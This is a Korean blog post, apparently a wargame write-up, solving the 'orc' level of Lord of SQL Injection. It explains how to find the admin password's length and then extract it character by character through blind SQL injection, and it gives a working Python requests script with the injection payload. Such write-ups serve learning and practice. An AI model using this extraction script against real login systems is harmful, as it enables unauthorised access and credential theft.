이번에는 pw 부분만 입력이 가능합니다.

id는 'admin'으로 고정이 되어있고 입력한 pw값과 쿼리 결과 pw가 동일해야 문제가 풀립니다.


요행으로 참으로 만들어도 안된다는 말입니다.

정확한 pw값을 찾아야 하는 문제입니다.



우선 Query를 참으로 만들어 무슨 값이 나오는지 확인해봅니다. 

"Hello admin"이라는 값이 나옵니다.


참이 아닐 경우에는 아무런 값을 나타내지 않기 때문에 여기서 Blind SQL Injection을 통해서 문제를 해결해야 합니다.



Blind SQL Injection을 수행하기 앞서 먼저 pw의 길이를 알아내야 합니다.


length() 함수는 해당 칼럼의 길이를 알 수 있습니다.

지금 id는 'admin'으로 고정되어 있기 때문에 자연스럽게 'admin'의 pw길이를 가져오게 됩니다.


수차례 해보면 8자리라는 것을 확인할 수 있습니다.


길이를 알아냈으니 Python으로 코드를 만들어 풀어봅니다.


requests 모듈을 통해서 풀어봤습니다.

GET방식으로 전송하기 때문에 requests.get() 함수를 사용합니다.


SQL 함수인 substr()을 사용해서 문자를 하나씩 알아내면 됩니다.

※ substr(str, start, len): 해당 문자열의 시작 인덱스부터 정해진 길이까지의 문자를 가져옴


그리고 Query가 성공하면 "Hello admin"이라는 글자가 나타나니 해당 글자를 찾으면 성공했다고 판단하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
password = ''
 
for i in range(1,9):
    for j in range(33,127):
        query = "pw=' or substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



8자리의 비밀번호를 획득하고 인증하면 성공하게 됩니다.

(소문자로 해야 인증됨)


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

+ Recent posts